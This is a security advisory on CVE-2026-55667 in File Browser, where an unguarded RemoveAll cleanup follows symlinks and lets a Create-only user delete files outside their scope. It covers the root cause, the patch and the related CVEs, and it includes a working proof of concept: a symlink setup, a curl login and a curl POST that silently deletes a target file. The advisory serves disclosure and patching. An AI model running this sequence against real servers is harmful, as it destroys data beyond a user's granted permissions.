CVE-2026-55667: File Browser Out-of-Scope File Deletion via Symlink-Following RemoveAll
A scoped File Browser user with only the Create permission can delete files outside their allowed directory by exploiting an unguarded cleanup call that follows symlinks, bypassing the delete…
The problem
File Browser scopes each user to a directory and enforces boundaries through a ScopedFs wrapper that calls guard() on every filesystem operation. The v2.63.14 fix for CVE-2026-54094 added that guard to reads, writes, lists, and renames, but left ScopedFs.Remove and ScopedFs.RemoveAll calling the underlying filesystem directly with no symlink check.
When an upload via resourcePostHandler fails, the handler runs d.user.Fs.RemoveAll(r.URL.Path) as cleanup on the user-supplied path. If that path traverses a symlinked directory that exits the user's scope, Go's os.RemoveAll follows the symlink and deletes the out-of-scope target.
The HTTP response is still 403 (the write was blocked), so the deletion is silent. A Create-only user with Perm.Delete=false is sufficient; no delete permission is required.
Proof of concept
A working proof-of-concept for CVE-2026-55667 in github.com/filebrowser/filebrowser/v2, with the exact payload below.
# Precondition: a directory symlink inside the user's scope pointing outside it.
# This must be planted out-of-band (mounted volume, extracted archive, admin action).
ln -s /srv/victim /var/filebrowser/root/scope/link
# 1. Authenticate and capture the JWT
JWT=$(curl -s -X POST http://127.0.0.1:8080/api/login \
-H 'Content-Type: application/json' \
-d '{"username":"createonly","password":"hunter2"}')
# 2. POST any body to a path under the symlink.
# The guarded write (MkdirAll/OpenFile) fails => 403.
# The unguarded cleanup RemoveAll("/link/secret.txt") then follows the
# symlink and deletes /srv/victim/secret.txt on disk.
curl -i -X POST \
-H "X-Auth: $JWT" \
--data 'x' \
'http://127.0.0.1:8080/api/resources/link/secret.txt'
# Outcome: HTTP 403 returned (write blocked), but /srv/victim/secret.txt is gone.
test ! -e /srv/victim/secret.txt && echo 'DELETED out-of-scope file'Root cause (CWE-22, CWE-59): ScopedFs.RemoveAll in files/scoped.go skipped the guard() call that every other method uses to resolve symlinks with filepath.EvalSymlinks and reject out-of-scope paths. The patch (commit 64511ce) adds if err := s.guard(path); err != nil { return err } at the top of RemoveAll before delegating to s.base.RemoveAll, mirroring the pattern used by OpenFile, Mkdir, and the rest of the wrapper.
A second contributing factor: resourcePostHandler does not return early when NewFileInfo returns a non-not-exist containment error, so it falls through to writeFile, which fails the guarded write, and then unconditionally runs the cleanup RemoveAll on the unvalidated, user-controlled path.
The fix addresses both the missing guard in RemoveAll and adds defense-in-depth by returning early from the handler on containment errors.
The fix
Upgrade to filebrowser v2.63.16. The fix adds guard() to both ScopedFs.Remove and ScopedFs.RemoveAll in files/scoped.go (commit 64511ce), and adds an early-return in resourcePostHandler when NewFileInfo returns a containment error, preventing the cleanup path from running on an unvalidated path.
Related research
- high · 8.1CVE-2026-62685CVE-2026-62685: File Browser Username Normalization Home Directory Collision
- critical · 9.1CVE-2026-54089CVE-2026-54089: File Browser Authentication Bypass via Proxy Header Forgery
- high · 7.1CVE-2026-50163CVE-2026-50163: oras-go Hardlink Path Traversal via CWD Resolution
- criticalCVE-2026-52811CVE-2026-52811: Gogs UploadRepoFiles Arbitrary File Write via Parent Symlink